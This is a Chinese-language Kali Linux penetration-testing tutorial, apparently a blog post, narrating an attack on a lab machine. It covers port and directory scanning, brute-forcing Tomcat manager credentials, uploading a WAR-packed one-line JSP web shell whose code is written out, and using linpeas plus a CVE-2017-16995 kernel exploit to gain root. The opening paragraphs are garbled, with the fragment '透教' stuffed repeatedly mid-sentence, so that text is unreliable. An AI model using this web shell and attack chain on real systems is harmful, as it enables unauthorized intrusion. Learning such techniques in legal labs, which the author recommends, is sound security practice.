kalilinux渗透教程

凌晨两点，透教我盯着屏幕上那个跳动的透教光标。靶机IP就摆在那儿，透教但nmap扫了三次，透教只开了80端口。透教Apache默认页，透教看起来毫无破绽。透教这种时候，透教Kali Linux里装了三百个工具也没用——你得知道用哪个。透教

先别急着打开Metasploit。透教我见过太多新手，透教装上Kali就觉得自己是透教黑客，对着一个网站乱轰sqlmap，透教最后除了把自己IP送进对方防火墙，透教什么也没得到。透教真正的渗透测试，第一步永远是信息收集，但收集什么、怎么收集，这才是分水岭。

打开终端，输入nmap -sV -p- 192.168.1.105。全端口扫描，别偷懒只扫常见端口。等结果的时候，我习惯同时跑gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt。目录爆破和端口扫描并行，能省一半时间。三分钟后，nmap回报：8080端口开着，跑的是Tomcat 8.5。gobuster那边弹出来一个/manager路径。

Tomcat manager——这就是突破口。默认口令？试试tomcat:tomcat。大多数靶机都留着这个后门，但真实环境里，管理员早改了密码。不过没关系，Kali里带着hydra，字典在/usr/share/wordlists/metasploit/下，跑个弱口令也就五分钟的事。密码是admin:admin——果然，靶机就是靶机。

登录manager界面，找到上传WAR包的功能。这里有个经典套路：把恶意的JSP文件打包成WAR，上传上去，服务器就会自动解压部署。写个简单的一句话木马：

// shell.jsp <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> 

用jar -cvf shell.war shell.jsp打包，上传，访问http://192.168.1.105:8080/shell/shell.jsp?cmd=id。返回uid=53(tomcat)——拿到了。但别高兴太早，这权限低得可怜，连/etc/shadow都读不了。

提权才是重头戏。Kali里有个好东西叫linpeas.sh，用wget传到靶机上跑一遍。输出刷屏，但真正有用的就几行：内核版本4.4.0，有个已知的CVE-2017-16995漏洞。去exploit-db搜对应exp，下载编译，运行——root@target:~#。整个过程四十分钟，其中半小时花在等扫描和编译上。

说实话，Kali本身不神奇。它就是把一堆开源工具打包好，省去你手动编译的麻烦。真正值钱的是思路——从端口扫描到弱口令，从上传木马到内核提权，每一步都是经验堆出来的。我见过有人用Kali一天打不进一台靶机，也见过老手十分钟拿到root。区别不在工具版本，在于他们脑子里有没有那张攻击路径的地图。

最后提醒一句：别拿真实网站练手。Kali里自带DVWA和Metasploitable，够你折腾了。要是手痒，去HackTheBox注册个账号，那上面全是合法靶机。等你能不看教程独立打穿十台机器，再考虑去挖漏洞赏金——那时候，你才算真正入了门。